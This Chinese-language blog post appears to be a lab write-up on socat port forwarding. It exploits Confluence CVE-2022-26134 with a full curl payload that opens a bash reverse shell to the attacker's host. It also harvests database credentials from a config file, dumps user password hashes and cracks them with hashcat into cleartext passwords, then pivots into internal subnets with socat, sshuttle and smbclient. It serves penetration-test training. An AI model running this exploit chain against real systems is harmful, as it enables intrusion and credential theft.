Socat 連接埠轉發

 Socat 連接埠轉發


環境說明

攻擊機 Kali IP : 192.168.45.200

DMZ 對外開放之 Web Server IP & Port : 192.168.229.63, 8090

靶機內網 DB IP : 10.4.229.215


第一步一樣先 rustscan 外網機器,僅開了 22, 8090, 8091 Port

rustscan -a 192.168.229.63 --scripts none --ulimit 5000




nmap 列舉這三個 Port 服務,sudo nmap -sC -sV -p 22,8090,8091 192.168.229.63

22 是 SSH,8090 是 HTTP Service



8091 也是 HTTP Service




whatweb 8090 發現是 Confluence





依據此網站介紹的 Confluence Web CVE 弱點

https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/

我們將利用以下這一段指令來建立 Reverse Shell




POC 指令 : curl -v http://192.168.229.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.200/4444%200%3E%261%27%29.start%28%29%22%29%7D/




nc 4444 進來了,whoami 確認是 confluence 服務帳號

ip ro or ip addr 查看網路確認有另外一隻腳 10.4.229.63 (ens224)





由於這是一個有限的服務帳號所以可以看到的東西不多,但一樣要進行枚舉

尤其服務帳號一定要看網站設定檔與 Log

結果在 confluence 站台設定檔 /var/atlassian/application-data/confluence/confluence.cfg.xml

看到與後端資料庫的連線資訊如下

資料庫連結網址 :  jdbc:postgresql://10.4.229.215:5432/confluence

帳號 : postgres、密碼 : D@t4basePassw0rd!




理論上可以透過已拿到 Shell 的遠端主機來做進一步的 SQL 資料爬取,也知道對方的資料庫是

PostgreSQL,一般會直接使用 psql Client 端程式開始進一步收集資訊,但目前的主機沒有安裝該程式而我們使用的 shell 帳號也沒有權限可以安裝該程式,所以要做的是 Port Forwarding 的方式將靶機 A 的 oooo Port 直接對應到靶機 B 的 xxxx Port,大致如下圖





隔天換了 IP

攻擊機 Kali IP : 192.168.45.187

DMZ 對外開放之 Web Server IP & Port : 192.168.198.63, 8090

靶機內網 DB IP : 10.4.198.215



輸入 socat 後發現 Web Server 有內建了 socat ( 大部分的機器預設是沒有的,這是靶機預先安裝的 )





那就直接在 Web Server 啟用 Socat 對應的連接,指令如下

socat -ddd TCP-LISTEN:2345,fork TCP:10.4.198.215:5432


狀態如下圖




接著就可以從 kali 攻擊機直接打 Web Server 2345 Port 即會直接對應到 DB 的 5432 Port

讓我們直接用 psql 指令吧

psql -h 192.168.198.63 -p 2345 -U postgres

連線後輸入上面拿到的密碼 : D@t4basePassw0rd!

輸入 \l 列舉 Database




\c confluence 進入 confluence DB 然後 select * from cwd_user; 列舉使用者




第一個使用者的密碼 Hash 值為

{PKCS5S2}3vfgC35A7Gnrxlzbvp32yM8zXvdE8U8bxS9bkP+3aS3rnSJxz4bJ6wqtE8d95ejA

查找 hashcat mode https://hashcat.net/wiki/doku.php?id=example_hashes 是 12001




做好一個 hashes.txt 檔案後,將 HASH 都填入



接著直接用 hashcat 破解吧

hashcat -m 12001 hashes.txt /usr/share/wordlists/fasttrack.txt

解出了三個




這三個

{PKCS5S2}aBZZw3HfmgYN3Dzg/Pg7GjagLdo+eRg+0JCCVId/KyNT4oVlNbhWPJtJNazs4F5R:Welcome1234

{PKCS5S2}vCcYx3LxTYB2KH2Sq4wLNLdAcS+4lX/yTQrvBJngifUEXcnIUHEwW0YnOe86W8tP:P@ssw0rd!

{PKCS5S2}ueMu+nTGBtfeGXGBlXXFcJLdSF4uVHkZxMQ1Bst8wm3uhZcDs56a2ProZiSOk2hv:sqlpass123

重新對應使用者帳號為

 - hr_admin : Welcome1234

 - rdp_admin : P@ssw0rd!

 - database_admin : sqlpass123



一般使用者的帳號密碼很容易都用一樣的,另外有發現 Database 那一台也有 22 Port

所以讓我用 Socat 起另外一個 Port 對應到 Database Server 的 22 Port

socat TCP-LISTEN:2222,fork TCP:10.4.198.215:22


這次建立的通道如下







接著嘗試用剛剛拿到的 database_admin 與密碼登入 DB Server 的 SSH 看看

└─$ ssh database_admin@192.168.198.63 -p2222

成功登入了



順便拿 flag





另外該注意的是,Socat 並不是在 Linux 主機上建立連接埠轉送的唯一方法。有幾種替代方案:

rinetd 是一個作為守護程式運行的選項。這使得它成為長期連接埠轉送配置的更好解決方案,但對於臨時連接埠轉送解決方案來說有點笨拙。

https://github.com/samhocevar/rinetd


我們可以結合 Netcat 和 FIFO 命名管道檔案來建立連接埠轉送。

https://man7.org/linux/man-pages/man7/fifo.7.html

https://gist.github.com/holly/6d52dd9addd3e58b2fd5


如果我們有 root 權限,我們可以使用 iptables 來建立連接埠轉送。給定主機的特定 iptables 連接埠轉送設定可能取決於現有的配置。為了能夠在 Linux 中轉發封包,還需要在我們想要轉發的介面上啟用轉發,方法是將「1」寫入/proc/sys/net/ipv4/conf/[interface]/forwarding(如果尚未配置為允許轉發)它)。






socat 建立完,如果要透過內網的 DB(假設有兩隻腳)再跳進更內部的網路

例如上述的 192.168.50.63 用 socat 上起了 2222 Port 對應到內部 10.4.50.215 的 22 Port

socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22

這裡不用參數 -ddd ,因為上述第一次驗證採用 -ddd 詳細輸出方便查看



上述做法是直接用 SSH 對外靶機的 2222 Port 到內網的另一台 22 Port

這時候我們要做的是先用 sshuttle 建一個路由表如下

sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24

意思是說要到 10.4.50.0/24 & 172.16.50.0/24 的網段透過上述的通道來路由

跟前面一樣,登入 DB Server 的 SSH 順便打通與建立這個路由這個通道




通道暨路由建立後,接下來要到 172.16.50.217 的相關連線就會直接透過這個通道了

即便我們是直接跑 smbclient 也會直接通過這個 VPN 通道

例如 smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234

可以看到直接列舉出 172.16.50.217 的分享資料夾



但有一點最重要的要注意當中使用到的它需要 SSH 用戶端上的 root 權限和 SSH 伺服器上的 Python3


留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)